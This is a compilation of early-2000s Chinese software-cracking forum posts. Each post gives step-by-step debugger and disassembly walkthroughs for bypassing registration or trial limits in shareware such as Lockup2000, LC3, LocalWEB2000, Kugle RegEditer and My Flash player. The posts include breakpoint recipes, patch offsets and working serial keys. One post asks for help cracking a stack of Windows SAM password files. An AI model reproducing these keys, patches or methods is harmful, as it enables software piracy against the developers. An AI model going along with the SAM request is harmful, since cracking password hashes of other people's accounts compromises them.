:004E9FD8 41 inc ecx
:004E9FD9 E80A8DF1FF call 00402CE8
:004E9FDE 0F841C070000 je 004EA700 ;不是黑名单的能来到这
:004E9FE4 8D95F0FEFFFF lea edx, dword ptr [ebp+FFFFFEF0]
:004E9FEA 8B8724020000 mov eax, dword ptr [edi+00000224]
:004E9FF0 2D6E020000 sub eax, 0000026E
:004E9FF5 E8F6F2F1FF call 004092F0
:004E9FFA 8B95F0FEFFFF mov edx, dword ptr [ebp+FFFFFEF0];
// [edx]:由最后一次写入注册表的name生成的真正注册码
:004EA000 8B45FC mov eax, dword ptr [ebp-04]
// [eax]:你输入的错误码pass
:004EA003 E8CCA1F1FF call 004041D4 ;比较
:004EA008 0F8593000000 jne 004EA0A1 ;关键跳转，不等跳！！！
:004EA00E C60538314F0001 mov byte ptr [004F3138], 01
:004EA015 33D2 xor edx, edx
:004EA017 8B83E0020000 mov eax, dword ptr [ebx+000002E0]
:004EA01D E88E81F4FF call 004321B0

* Possible StringData Ref from Code Obj ->"The iparmor has been registered "
->"successfully."
|
:004EA022 BA5CA94E00 mov edx, 004EA95C
:004EA027 8B83E8020000 mov eax, dword ptr [ebx+000002E8]
:004EA02D E89682F4FF call 004322C8
:004EA032 803D39314F0000 cmp byte ptr [004F3139], 00
:004EA039 7410 je 004EA04B

* Possible StringData Ref from Code Obj ->"软件已经被
成功注册."
|
:004EA03B BA94A94E00 mov edx, 004EA994
。。。。。。。。。。。。。。。。。。。
。。。
。

//小心，它清除木马好像是把文件删除！！！似乎太过分了！！！
//所以先不要把清除木马选项勾上！！！！！

//误报木马！！masm32文件中一些例子的.EXE无辜被杀！！！呜呜~~~~~~~~

//里头有几个黑名单，但总的来说防范意识还是太弱了。


Kugle Regediter 1.0

 标 题:Kugle Regediter 1.0 注册码破解法（非明码） (8千字)
发信人:paulyoung
时 间:2001-11-3 1:01:36
详细信息:
Kugle Regediter 1.0 注册码破解法（非明码）

作者：PaulYoung （属于 China Cracking Group ）
软件：Kugle Regediter 1.0 ( http://61.134.4.193:8080/friendmake/utility/RegEditer.zip )
简介：RegEditer是用来编辑、管理“注册表”设置的功能强大的工具。RegEditer为你提供了许多强大、有趣的功能。如强大的查找功能。大数据存储，将一个文件装入注册表。将注册表内容按图片看，将某一选定数据存入文件。批量替换指定字符串。注册表主键拷贝，粘贴。批量注册表数据拷贝粘贴。收藏夹、直接跳砖、地址输入支持。等功能是你能快速定位要编辑的内容。
加密：注册码
工具：SoftICE 4.05 334
日期：2001.11.02

************************************************************************************************

    由于本人水平有限，文有错误之处，望高手指正！

填写用户名、假注册码（22位才能激活注册键），bpx hmemcpy 设断，按12次F12（13次出错），F10到……

:004BE694 8B45FC mov eax, dword ptr [ebp-04] //你来到这里
:004BE697 E83C66FDFF call 00494CD8 //计算注册码，F8跟入
:004BE69C 84C0 test al, al
:004BE69E 745E je 004BE6FE

F10继续跟踪……

:00494CD8 55 push ebp
:00494CD9 8BEC mov ebp, esp
:00494CDB 33C9 xor ecx, ecx
:00494CDD 51 push ecx
:00494CDE 51 push ecx
:00494CDF 51 push ecx
:00494CE0 51 push ecx
:00494CE1 51 push ecx
:00494CE2 53 push ebx
:00494CE3 56 push esi
:00494CE4 57 push edi
:00494CE5 8945FC mov dword ptr [ebp-04], eax
:00494CE8 8B45FC mov eax, dword ptr [ebp-04]
:00494CEB E8A0FAF6FF call 00404790
:00494CF0 33C0 xor eax, eax
:00494CF2 55 push ebp
:00494CF3 684B4E4900 push 00494E4B
:00494CF8 64FF30 push dword ptr fs:[eax]
:00494CFB 648920 mov dword ptr fs:[eax], esp
:00494CFE 33DB xor ebx, ebx
:00494D00 33C0 xor eax, eax
:00494D02 55 push ebp
:00494D03 68244E4900 push 00494E24
:00494D08 64FF30 push dword ptr fs:[eax]
:00494D0B 648920 mov dword ptr fs:[eax], esp
:00494D0E 8B45FC mov eax, dword ptr [ebp-04]
:00494D11 E892F8F6FF call 004045A8
:00494D16 83F816 cmp eax, 00000016 //注册码是否为22位
:00494D19 740D je 00494D28 //是则跳
:00494D1B 33C0 xor eax, eax //不跳则EAX清0
:00494D1D 5A pop edx
:00494D1E 59 pop ecx
:00494D1F 59 pop ecx
:00494D20 648910 mov dword ptr fs:[eax], edx
:00494D23 E908010000 jmp 00494E30

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00494D19(C)
|
:00494D28 8D45F0 lea eax, dword ptr [ebp-10]
:00494D2B E8C0F5F6FF call 004042F0
:00494D30 8D45F0 lea eax, dword ptr [ebp-10]
:00494D33 BA644E4900 mov edx, 00494E64 //把00494E64的值"K"放入EDX
:00494D38 E873F8F6FF call 004045B0
:00494D3D 8D45F0 lea eax, dword ptr [ebp-10]//保存到[ebp-10]这个变量
:00494D40 BA704E4900 mov edx, 00494E70 //把00494E70的值"G"放入EDX
:00494D45 E866F8F6FF call 004045B0
:00494D4A 8D45F0 lea eax, dword ptr [ebp-10]//保存到[ebp-10]这个变量
:00494D4D BA7C4E4900 mov edx, 00494E7C //把00494E7C的值"L"放入EDX
:00494D52 E859F8F6FF call 004045B0
:00494D57 8D45F0 lea eax, dword ptr [ebp-10]//保存到[ebp-10]这个变量
:00494D5A BA884E4900 mov edx, 00494E88 //把00494E5A的值"-"放入EDX
:00494D5F E84CF8F6FF call 004045B0
:00494D64 8B45F0 mov eax, dword ptr [ebp-10]//把[ebp-10]的值传送到EAX
:00494D67 E834FAF6FF call 004047A0
:00494D6C 50 push eax
:00494D6D 8B45FC mov eax, dword ptr [ebp-04]
:00494D70 E82BFAF6FF call 004047A0
:00494D75 8BF0 mov esi, eax
:00494D77 8BC6 mov eax, esi
:00494D79 5A pop edx
:00494D7A E83D45F7FF call 004092BC
:00494D7F 8BF8 mov edi, eax
:00494D81 3BFE cmp edi, esi //注册码前4位是否为"KGL-"
:00494D83 740D je 00494D92 //是则跳
:00494D85 33C0 xor eax, eax //不跳则EAX清0
:00494D87 5A pop edx
:00494D88 59 pop ecx
:00494D89 59 pop ecx
:00494D8A 648910 mov dword ptr fs:[eax], edx
:00494D8D E99E000000 jmp 00494E30

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00494D83(C)
|
:00494D92 8B45FC mov eax, dword ptr [ebp-04]
:00494D95 8078032D cmp byte ptr [eax+03], 2D //注册码第4位是否为"-"
:00494D99 7512 jne 00494DAD //不是则跳
:00494D9B 8B45FC mov eax, dword ptr [ebp-04]
:00494D9E 80780A2D cmp byte ptr [eax+0A], 2D //注册码第11位是否为"-"
:00494DA2 7509 jne 00494DAD　　　　　　　　//不是则跳
:00494DA4 8B45FC mov eax, dword ptr [ebp-04]
:00494DA7 80780F2D cmp byte ptr [eax+0F], 2D //注册码第16位是否为"-"
:00494DAB 740A je 00494DB7　　　　　　　 　//是则跳

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00494D99(C), :00494DA2(C)
|
:00494DAD 33C0 xor eax, eax //第4、11位不为"-"，则跳到此清0
:00494DAF 5A pop edx
:00494DB0 59 pop ecx
:00494DB1 59 pop ecx
:00494DB2 648910 mov dword ptr fs:[eax], edx
:00494DB5 EB79 jmp 00494E30

    至此，我们已经知道它的注册码格式为"KGL-XXXXXX-YYYY-ZZZZZZ"，继续……

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00494DAB(C)
|
:00494DB7 8D45F8 lea eax, dword ptr [ebp-08]
:00494DBA 50 push eax
:00494DBB B906000000 mov ecx, 00000006
:00494DC0 BA05000000 mov edx, 00000005
:00494DC5 8B45FC mov eax, dword ptr [ebp-04]
:00494DC8 E833FAF6FF call 00404800
:00494DCD 8D45F4 lea eax, dword ptr [ebp-0C]
:00494DD0 50 push eax
:00494DD1 B904000000 mov ecx, 00000004
:00494DD6 BA0C000000 mov edx, 0000000C
:00494DDB 8B45FC mov eax, dword ptr [ebp-04]
:00494DDE E81DFAF6FF call 00404800
:00494DE3 8D45EC lea eax, dword ptr [ebp-14]
:00494DE6 50 push eax
:00494DE7 B906000000 mov ecx, 00000006
:00494DEC BA11000000 mov edx, 00000011
:00494DF1 8B45FC mov eax, dword ptr [ebp-04]
:00494DF4 E807FAF6FF call 00404800
:00494DF9 8D4DF0 lea ecx, dword ptr [ebp-10]
:00494DFC 8B55F4 mov edx, dword ptr [ebp-0C] //把 YYYY 保存到EDX
:00494DFF 8B45F8 mov eax, dword ptr [ebp-08] //把 XXXXXX 保存到 EAX
:00494E02 E895FBFFFF call 0049499C //根据 XXXXXX,YYYY,计算ZZZZZZ
:00494E07 8B45EC mov eax, dword ptr [ebp-14] //把你输入的ZZZZZZ保存到EAX
:00494E0A 8B55F0 mov edx, dword ptr [ebp-10] //把真的ZZZZZZ保存到EDX
:00494E0D E8DAF8F6FF call 004046EC //二者相等吗
:00494E12 7504 jne 00494E18 //相等则不跳
:00494E14 B301 mov bl, 01
:00494E16 EB02 jmp 00494E1A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00494E12(C)
|
:00494E18 33DB xor ebx, ebx //ZZZZZZ 值错误则跳到此清0

跟着的就是保存用户名和注册码到注册表了，而且用户名与注册码无关。
本来想继续弄清楚软件是如何根据 XXXXXX 和 YYYY 计算出 ZZZZZZ 的，可惜水平有限，耐性有限，不知哪位高手能继续深入研究，写个注册机出来？

    注册信息放在：

REGEDIT4

[HKEY_LOCAL_MACHINE\Software\Kugle\RegEditer\V1.0]
"PATH"="C:\\Program Files\\Kugle\\RegEditer1.0"
"UserName"="PaulYoung[CCG]"
"Company"="CCG"
"AuthorizationCode"="KGL-efghij-lmno-4O6EX7"


LC3

 标 题:申请加入BCG之第一篇！------LC3破解！ (2千字)
发信人:红潮风暴
时 间:2001-10-6 0:13:53
详细信息:
申请加入BCG之第一篇！------LC3破解！
作 者：红潮风暴
破解对象：LC3
软件地址：http://www.atstake.com/research/lc3/application/lc3setup02.exe
工 具：W32DASM
TRW2000
破解日期:21/9
整 理:5/10
由于得到好友发来SAM文件请求协助破解。唯有找到LC3-----号称最经典的NT密码破解工具。
经使用后发现要注册后方可使用暴力破解！有没有搞错？想向我要注册费？对于刚到看雪学苑“进修”了少少的我来说，肯定不答应！~-~ 唔！抱着试试看的心态决定拿它开刀。
启动LC3后输入密码得出出错信息！记下来！退出！
用W32DASM反汇编后找到出错信息："you have entered an invalid code.please try again"
双击后来到“016F:00411572 PUSH 004790C4” 往上看,找到016F:00411549 TEST EAX,EAX嘿嘿，肯定有料到！唔！最后在
016F:00411534 CALL 00404E10
016F:00411539 MOV EAX,[EDI]
016F:0041153B LEA EDX,[ESP+28]
016F:0041153F PUSH EDX
016F:00411540 PUSH EAX
016F:00411541 CALL 0042FAB9
范围中确定。
运行LC3填写注册码12345678后
运行TRW，下BPX 00411534
G
回来，点确定，拦截
016F:004114FE PUSH EBP
016F:004114FF LEA ECX,[ESP+0190]
016F:00411506 CALL 00447124
016F:0041150B LEA ECX,[ESP+0130]
016F:00411512 CALL 00447F60
016F:00411517 CMP EAX,BYTE +01
016F:0041151A JNZ 00411596
016F:0041151C LEA EAX,[ESP+0190]
016F:00411523 PUSH EAX
016F:00411524 MOV ECX,EDI
016F:00411526 CALL 00447124
016F:0041152B MOV EAX,[EBP+00]
016F:0041152E LEA ECX,[ESP+20]
016F:00411532 PUSH ECX
016F:00411533 PUSH EAX
016F:00411534 CALL 00404E10 在此中断《-----发现给出的序列号
016F:00411539 MOV EAX,[EDI]
016F:0041153B LEA EDX,[ESP+28] 〈-----下D EAX你输入的注册码“12345678”，再下D ESP+28真注册 016F:0041153F PUSH EDX 码
016F:00411540 PUSH EAX
016F:00411541 CALL 0042FAB9
016F:00411546 ADD ESP,BYTE +10
016F:00411549 TEST EAX,EAX
016F:0041154B JNZ 00411570
016F:0041154D MOV EAX,[EDI]
016F:0041154F PUSH EAX
016F:00411550 PUSH DWORD 00479014
016F:00411555 PUSH DWORD 00479020
016F:0041155A MOV ECX,ESI
016F:0041155C MOV [ESI+0114],EBX
016F:00411562 CALL 00456158
016F:00411567 PUSH EBX
016F:00411568 PUSH EBX
016F:00411569 PUSH DWORD 004790F8
016F:0041156E JMP SHORT 00411577
016F:00411570 PUSH EBX
016F:00411571 PUSH EBX
016F:00411572 PUSH 004790C4
收工。看一看表，从反汇编至完工费时3分钟！
注：小弟手头上现有SAM文件一大把，然而机子速度太慢，愧对好友！不知可有网友愿意协助破解，不胜感激！谢谢！
红潮风暴
2001 10 5
23:27


LocalWEB2000 Professional 2.1.0

 标 题:LocalWEB2000 Professional 2.1.0破解过程 (2千字)
发信人:Cyrix686
时 间:2001-12-23 21:10:01
详细信息:
LocalWEB2000 Professional 2.1.0破解过程

已经有很长一段时间没玩电脑了（当然也没上网啦！），高三忙得要死！老爸又把电脑封了……

但是，这几天，朋友的一台旧的手提电脑借了给我（呵呵，也不是经常用的，因为P166+16M的机器慢的要死，主要是用来写文章^_^）。这几天，又想着编一个ASP程序（手痒^_^），可是，在本机调试要装PWS，对于这么一台机器，PWS用起来十分慢！结果没装，就打算装一个LocalWEB2000 Professional的东西，就到同学家把他download了下来，装好了，看到是要注册的，看到那个Unregistered就不太顺眼，而且，不知道是什么原因，竟然也解释不了ASP程序，我估计大概是没注册的原因吧！那就顺理成章地亲自动手了……（好彩以前把TRW2000、WDASM都Copy到一张软盘上！）

破解对象：LocalWEB2000 Professional 2.1.0
程序下载：忘记了……（我在它的网站下载的）http://www.intranet-server.co.uk
破解工具：TRW2000 （本来想暴力破解的，但是，这台机器的速度太慢，反汇编很慢……）
破解日期：20/12/2001
破解难度：简单
破解耗时：5分钟（太长？！……高手莫笑！）
文章作者：Cyrix686 [FCG]

启动LocalWEB2000 Professional 2.1.0，找到输注册码的地方，在Your Name那里填上Cyrix686，在Resgistration Number那里填上3141592654（sunbird大哥教的^_^），接着，Ctrl+M调出TRW2000，输入bpx hmemcpy（在win98下我终于可以用到这个命令了！），F5返回程序，按Register，TRW2000拦截到，输入BC *，然后，输入PMODULE，来到程序的领空，一路按F10到：

015F:0047342A MOV EDX,EAX <= 在这里下 d eax 就可以看到正确的注册码
015F:0047342A LEA ECX,[EBP-24]

Oh My God，这个东西也太简单了吧？！赶快抄下注册码！6219-0445-570D-5725

回到程序，输入注册码，提示注册成功！搞定！收工！

呵呵，这么就没玩破解了，竟然遇到了这么一个简单的，还好，给我增强了一下信心……

在注册表里找了找，发现LWP放注册码的位置：

[HKEY_CURRENT_USER\Software\VB and VBA Program Settings\LWPro\Register]
"Code"="6219-0445-570D-5725"
"Name"="Cyrix686"

破了这个程序之后，想了想，把这么一个破解过程写出来给新手（现在的新手都比你强！要你的兰东西干什么！!#@$#@%@$&*^）看一看吧！（别仍鸡蛋就好了^_^）由于没有把详细的机器码列出（没用WDSM反汇编，太慢了），也没什么详细说明（没时间），所以叫不上教程，就叫做破解过程吧！高手莫笑！

好了，把过程写完了（耗时30分钟$%#@%^&*$%），又要学习了……

离高考还有199日……

********************************
The Free Cracking Group of China
-=FCG=-
http://www.cn778.net
Copyright (C) 2000-2001 FCG
********************************

This Article is Writen by Cyrix686


Lockup2000 v4.0

 标 题:Lockup2000 v4.0破解实战 (7千字)
发信人:crackYY
时 间:2001-11-6 1:02:29
详细信息:
Lockup2000 v4.0破解手记
软件说明：这是一个可以win98下锁住屏幕不让别人乱用你机器的小东东
难度：没见过这么莱的！
工具：trw2000 v1.03 FileInfo v2.45

前两天MM跟我说，想要一个锁屏的工具，于是我就一口答应了(我靠，你是不是男人呀？别别，各位大侠有话好好说，别拿酒瓶子！)。回到家我左翻右找，终于在一张去年买的光盘里找到了这个东东。虽然老了一点，不过还好，连我都没听说过这个东西，更别说MM了（我靠，我就看不贯你这样的！别别，你怎么又回来啦！？等我写完再扁我也不迟呀！哎~好险）。不过，我得看看这个东西好不好用。嗯，不错！怎么回事？！不注册只能用30天，我倒……这下可没救了，MM英文比我好一千倍（英语六级！），谁说她看不懂我和谁玩命！于是我又找，结果不用说大家也知道了。没办法，只好扔下手头的工作和它周旋到底啦………
好，开工！先看看它是用什么编的（千万别是vb，想起破发啦彩票王专业版的那段时间我就想哭），用FI检查一下，哈哈，天助我也，是用Delphi编的，而且没加壳。
下面当然是开始破解啦，像我这种懒人当然是先请出W32dasm大哥，载入之后用串式参考找到那个提示注册号错误的句子:"Please enter a valid keycode",双击之后会看到如下代码：

* Referenced by a (U)nconditional or (C)onditional jump at address:
|:0045FF34(C)
|

* Possible StringData Ref from Code Obj->"Please enter a valid keycode"

:0046017F B804034600 mov eax, 00460304 光标停在这行
:00460184 E8D7BBFEFF call 0044BD60
:00460189 EB16 jmp 004601A1

由于与本文无关以下省略，往下看就知道为什么了。

好，接着向上找，看看有没有je jne jz……之类的指令，哈哈找到一处：

:0046010C E8477CFEFF call 00447D58
:00460111 84C0 test al, al
:00460113 7421 je 00460136 就是这个啦

偏移地址应该是:5F513，请出hiew老兄我改（当然是把机器码改成9090啦）。哈哈……运行一下看看，没反映？！于是，我再找，接着我又改，直到改死机都没反映！我真想哭，呜………
好吧，那就用我最拿手的动态调试（鲜花，掌声，还有音乐……）。
先用trw载入该死的Lockup2000,再点About注册，姓名：crackYY 公司：NO 序列号：123654789。准备工作作好后，Ctrl+N呼出trw2000，下断点:bpx hmemcpy，然后按F5返回Lockup。点击OK按钮,trw弹出。接着下命令:bc * 清除断点，再下命令：pmodule 直接跳到Lockup的邻空，按7下F12（按第8下会跳出trw）会看到如下代码：

0167:00428CF9 5B POP EBX
0167:00428CFA C3 RET
0167:00428CFB 90 NOP
0167:00428CFC 55 PUSH EBP
0167:00428CFD 8BEC MOV EBP,ESP
0167:00428CFF 6A00 PUSH 00000000
0167:00428D01 53 PUSH EBX
0167:00428D02 56 PUSH ESI
0167:00428D03 8BF2 MOV ESI,EDX
0167:00428D05 8BD8 MOV EBX,EAX
0167:00428D07 33C0 XOR EAX,EAX
0167:00428D09 55 PUSH EBP
0167:00428D0A 68518D4200 PUSH 00428D51
0167:00428D0F 64FF30 PUSH DWord Ptr FS:[EAX]
0167:00428D12 648920 MOV FS:[EAX],ESP

然后按F10一步一步分析，尽量去分析每一句的含义。一直找到出错的代码：

0167:0046012E 8B45F8 MOV EAX,[EBP-08]
0167:00460131 E8BE7DFEFF CALL 00447EF4
0167:00460136 33C0 XOR EAX,EAX
0167:00460138 5A POP EDX
0167:00460139 59 POP ECX
0167:0046013A 59 POP ECX
0167:0046013B 648910 MOV FS:[EAX],EDX
0167:0046013E 685B014600 PUSH 0046015B
0167:00460143 8B45F8 MOV EAX,[EBP-08]
0167:00460146 E8797BFEFF CALL 00447CC4
0167:0046014B 8B45F8 MOV EAX,[EBP-08]
0167:0046014E E87D2CFAFF CALL 00402DD0
0167:00460153 C3 RET
0167:00460154 E99733FAFF JMP 004034F0
0167:00460159 EBE8 JMP 00460143
0167:0046015B B894024600 MOV EAX,00460294
0167:00460160 E8FBBBFEFF CALL 0044BD60
0167:00460165 A168874600 MOV EAX,[00468768]
0167:0046016A 8B00 MOV EAX,[EAX]
0167:0046016C E8FB67FEFF CALL 0044696C
0167:00460171 EB2E JMP 004601A1
0167:00460173 B804034600 MOV EAX,00460304
0167:00460178 E8E3BBFEFF CALL 0044BD60 ；走过这里就会弹出对话框
0167:0046017D EB22 JMP 004601A1
0167:0046017F B804034600 MOV EAX,00460304
0167:00460184 E8D7BBFEFF CALL 0044BD60
0167:00460189 EB16 JMP 004601A1
0167:0046018B B82C034600 MOV EAX,0046032C
0167:00460190 E8CBBBFEFF CALL 0044BD60
0167:00460195 EB0A JMP 004601A1
0167:00460197 B898034600 MOV EAX,00460398

别灰心，想要作cracke，你就必须要有一颗恒心，和一份打不垮的毅力。于是再重复上述步骤，小心的分析每一句指令，直到找到比对注册码的子程序。按F10，一直到看到如下代码为止：

0167:0045FF34 0F8645020000 JNA 0046017F
0167:0045FF3A 8D55E8 LEA EDX,[EBP-18]
0167:0045FF3D 8B45FC MOV EAX,[EBP-04]
0167:0045FF40 8B80E8020000 MOV EAX,[EAX+000002E8]
0167:0045FF46 E8818DFCFF CALL 00428CCC
0167:0045FF4B 8B45E8 MOV EAX,[EBP-18]
0167:0045FF4E BAD0014600 MOV EDX,004601D0
0167:0045FF53 E8903EFAFF CALL 00403DE8 ；注册码在这里进行比较，按F8跟进。
0167:0045FF58 0F8515020000 JNZ 00460173
0167:0045FF5E B201 MOV DL,01
0167:0045FF60 A1547B4400 MOV EAX,[00447B54]
0167:0045FF65 E8EA7CFEFF CALL 00447C54
0167:0045FF6A 8945F8 MOV [EBP-08],EAX
0167:0045FF6D 33C0 XOR EAX,EAX
0167:0045FF6F 55 PUSH EBP

到这里可以说工做已经完成一半了，下面剩下的就是要找出真正的注册码到底在什么地方，然后再进一步分析它是如何计算出注册码的，以便做出注册机。
好，下面我们按F8进入这个子程序，看到以下代码：

0167:00403DE5 8D4000 LEA EAX,[EAX+00]
0167:00403DE8 53 PUSH EBX ;在这里下 d edx可以看到真注册码，要是下d eax可以看到刚才我输入的注册码
0167:00403DE9 56 PUSH ESI ；这里也能看到真注册码。
0167:00403DEA 57 PUSH EDI ；还有这里
0167:00403DEB 89C6 MOV ESI,EAX ；这里也行
0167:00403DED 89D7 MOV EDI,EDX ；这里也是
0167:00403DEF 39D0 CMP EAX,EDX ；这里
0167:00403DF1 0F848F000000 JZ 00403E86
0167:00403DF7 85F6 TEST ESI,ESI
0167:00403DF9 7468 JZ 00403E63
0167:00403DFB 85FF TEST EDI,EDI
0167:00403DFD 746B JZ 00403E6A
0167:00403DFF 8B46FC MOV EAX,[ESI-04]
0167:00403E02 8B57FC MOV EDX,[EDI-04]
0167:00403E05 29D0 SUB EAX,EDX
0167:00403E07 7702 JA 00403E0B
0167:00403E09 01C2 ADD EDX,EAX
0167:00403E0B 52 PUSH EDX
0167:00403E0C C1EA02 SHR EDX,02

我又分析了一会儿，发现它是直接用正确注册码和输入的注册码做比较的。真是有点儿怪怪的，于是我又请出W23Dasm兄，用串式参考找出错的句子，不对，等等！"LUP2K-64589-45789-55685-34671"这个怎么这么眼熟（刚才在哪里见过）？！我靠！是注册码，原来这个东东只有一个注册码！哎~都怪我一时大意，要是早发现就不用多费时间去动态调试了，也不用写这么多东东了（呜…抱头痛哭一个小时，突然想起还没写没，于是又接着写了起来。）。
这个软件的保护很简单，但它同时又是一个很好的例子。如果你掌握了这几个步骤，那么也就是说你已经入门了(就先说到这啦，再不跑就来不及啦！啊……好痛，呜…出血啦！)。

作者：crackYY
oicq: 20651482
E-mail: crackYY@hotmail.com


MagicTweak

 标 题:瞎猫 VS 死老鼠 (3千字)
发信人:wolf2002
时 间:2002-1-7 13:00:58
详细信息:
软件简介:
    MagicTweak 是一个的系统优化和设置工具,可以更改上百种 Windows 隐藏设定,让你也变成了 Windows 修改设置专家.

下载地址:http://nj.onlinedown.net/MAGICTWEAK.HTM

破解工具: Trw2000
Filemon
PEiD
冲击波 V0.2

过程:

软件启动时会弹出一个注册框,让你注册.输入假的用户名和注册码,都会恭喜你注册成功,点击确定退出软件.
用 Filemon 查看软件启动过程,发现读取了 C:\Windows\mgwin.ini 这个文件，打开该文件,看到假的用户名和注册码.初步判断软件是启动过程时比较注册码.(后来用以下的断点均不成功,怀疑是错的.55555555)
用 PEiD 查看软件是用 PECompact 1.66 -> 1.67 加壳的,冲击波找到软件的入口点 00439292,用 Trw2000 载入脱壳.
下断点:

bpx ReadFile
bpx WriteFile
bpx CreateFile
bpx SetFilePointer
bpx GetSystemDirectory
bpx GetPrivateProfileString
bpx GetPrivateProfileInt
bpx WritePrivateProfileString
bpx WritePrivateProfileInt
bpx findfirstfilea

不是不成功就是在代码堆里打转,看到一片的云山雾海.索性破罐子破摔,下 Messageboxa ,看看能不能跟到些什么.点击 Register 拦住了：

167:BFF541B7 RET 04
USER32!MessageBoxA
167:BFF541BA PUSH EBP <=断点停在这里
167:BFF541BB EBP,ESP
167:BFF541BD BYTE +OO
167:BFF541BF DWORD[EBP+14]
167:BFF541C2 DWORD[EBP+10]
167:BFF541C5 DWORD[EBP+0C]
167:BFF541C8 DWORD[EBP+08]
167:BFF541CB CALL USER32!MessageBoxA
167:BFF541D0 POP EBP
167:BFF541D1 RET 10

一个 Pmodule 弹出假的注册成功对话框,点击确定,再次拦下:

:0044BAF3 8B442408 mov eax, dword ptr [esp+08]<=在这里重新设置断点,拦下
:0044BAF7 56 push esi <=在这里用 Alt+PaDn 查看,一大堆注册码
:0044BAF8 85C0 test eax, eax
:0044BAFA 8BF1 mov esi, ecx
:0044BAFC 7508 jne 0044BB06
:0044BAFE E842EE0000 call 0045A945
:0044BB03 8B4010 mov eax, dword ptr [eax+10]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044BAFC(C)
|
:0044BB06 85F6 test esi, esi
:0044BB08 7504 jne 0044BB0E
:0044BB0A 33C9 xor ecx, ecx
:0044BB0C EB03 jmp 0044BB11

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044BB08(C)
|
:0044BB0E 8B4E1C mov ecx, dword ptr [esi+1C]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0044BB0C(U)
|
:0044BB11 FF742410 push [esp+10]
:0044BB15 50 push eax
:0044BB16 FF742410 push [esp+10]
:0044BB1A 51 push ecx
:0044BB1B FF15DC544600 call dword ptr [004654DC]
:0044BB21 5E pop esi <= 断在这里

F6 + PaUp 在 0044BAF3 处用 F9 重新设置断点.启动软件注册,断下了.用 Alt+PaDn,哇,软件贼大方,注册码居然有 N 多个,而且还是万能注册码(跟用户名无关)!!!

童言无忌：
非常感谢看雪老师为了这个论坛,让我学到了很多东西.因为太早的走出校门,接触到计算机也不过是一年多的时间.在购买了《加密与解密》后,居然发现自己连教程里最简单的加壳软件,一个都脱不了.或许这跟我是个"汇编瞎子"有关吧.
我所破的软件(其实也没几个),大多数是明码比较或照着葫芦画瓢(跟着别人的教程破的).这其中有 99% 的运气和 1% 的耐心.所以能不能请看雪老师,再为我们这些"汇编瞎子"出版一本各个破解工具使用的详细教程呢.


Midi简谱输入系统(version 0.8.0 Build 4)

 标 题:Midi简谱输入系统(version 0.8.0 Build 4)注册破解
发信人:esoft2001.51.net
时 间:2002年1月19日
详细信息:
Midi简谱输入系统(version 0.8.0 Build 4)注册破解

软件版本：Midi简谱输入系统 0.8.0 Build 4
下载地址：http://www.widenstage.com/artech/product/midiinput/midiinput.zip
软件大小：396k
软件简介：MIDI简谱快速输入是一个MIDI作曲的辅助输入软件，采用与简谱近似的最为直观的命令行输入方式，并以简谱的形式显示出来，具有删除、插入、修改等基本编辑功能。

破解工具：Trw2000

由于没有脱壳和反汇编，所以代码较简单（都是手工输入的呀！）

运行“Midi简谱输入系统”出现注册窗口。

机器ID号：A9090909090909090
您的EMAIL：Http://esoft2001.51.net
注册号码：987654321

Ctrl-n，下命令bpx hmemcpy，F5返回，按“确定”按钮，Trw2000拦下。
下bc *命令
再下Pmodule命令，按7下F12，再按F10程序来到下面一行
0040A22D LEA EDX, [EBP+0C]
从这里开始一直按F10，不久会弹出“注册码错误”的对话框，代码如下：
0040A4F2 CALL 00436D60
向上看一下，看从哪里跳过来，发现下面的“经典结构”
0040A455 CALL 0040A95C（F8进入这个CALL，可能有戏）
0040A45A TEST AL,AL
0040A45C JZ 0040A4BA
依次进入下面的几个CALL
0040AC78 CALL 0045D814
0045E3C5 CALL 0045DEFC
0045DF8C CALL 0045E027
进入0045DF8C CALL 0045E027后按F10，到下面
0045E0EF PUSH ECX
………………
0045E123 JNZ 0040E0EF
这段代码将注册码算出放在ESI中。所以执行到下面
0045E125 LEA ECX，[EBP-51]
下命令D ESI看到正确的注册码D1DB64E871152109。

esoft2001.51.net
2002年1月19日


My Flash player 1.3

 标 题:My Flash player 1.3 完全破解 (5千字)
发信人:多情俏狐
时 间:2001-12-5 11:41:32
详细信息:
My Flash player 1.3 完全破解

=================================================
转载请保持完整，欢迎交流

peiyou henan china

通过用dede3.0查看系用delphi6.0语言写成，用dede和exe2dpr反编均不成功，用w32dasm查看成功，找到如下信息:

加密特征:安装后只能用20次，超过20次自动关闭

加密分析:本程序未在注册表中做加密，帮如果保存压缩版本，每次过期后删除原来目录解压后仍可用20次,它是在安装目录下的config目录的config.ini文件里做了加密,具体是utflash项，后面是加密的字串。

:00466D56 2D96000000 sub eax, 00000096
:00466D5B B905000000 mov ecx, 00000005
:00466D60 99 cdq
:00466D61 F7F9 idiv ecx
:00466D63 8BC8 mov ecx, eax
:00466D65 85C9 test ecx, ecx
:00466D67 7E08 jle 00466D71=====>关键CAll: offset 66167H
如果次数用完则掉
:00466D69 81F9C8000000 cmp ecx, 000000C8
:00466D6F 7E19 jle 00466D8A=====>关键CAll: offset 6616FH

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00466D67(C)
|

* Possible StringData Ref from Code Obj ->"你的使用次数已到!
请注册"
|
:00466D71 B8BC6F4600 mov eax, 00466FBC
:00466D76 E881EFFCFF call 00435CFC
:00466D7B A154214700 mov eax, dword ptr [00472154]
:00466D80 8B00 mov eax, dword ptr [eax]
:00466D82 8B10 mov edx, dword ptr [eax]
:00466D84 FF92E8000000 call dword ptr [edx+000000E8]

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00466D52(C), :00466D6F(C)
|
:00466D8A 83FFFF cmp edi, FFFFFFFF
:00466D8D 0F85A5000000 jne 00466E38
:00466D93 8BC3 mov eax, ebx
:00466D95 2D96000000 sub eax, 00000096 减96H(150)
:00466D9A B905000000 mov ecx, 00000005
:00466D9F 99 cdq
:00466DA0 F7F9 idiv ecx 除以5
:00466DA2 85C0 test eax, eax
:00466DA4 0F8E8E000000 jle 00466E38
:00466DAA 8BC3 mov eax, ebx
:00466DAC 2D96000000 sub eax, 00000096
:00466DB1 B905000000 mov ecx, 00000005
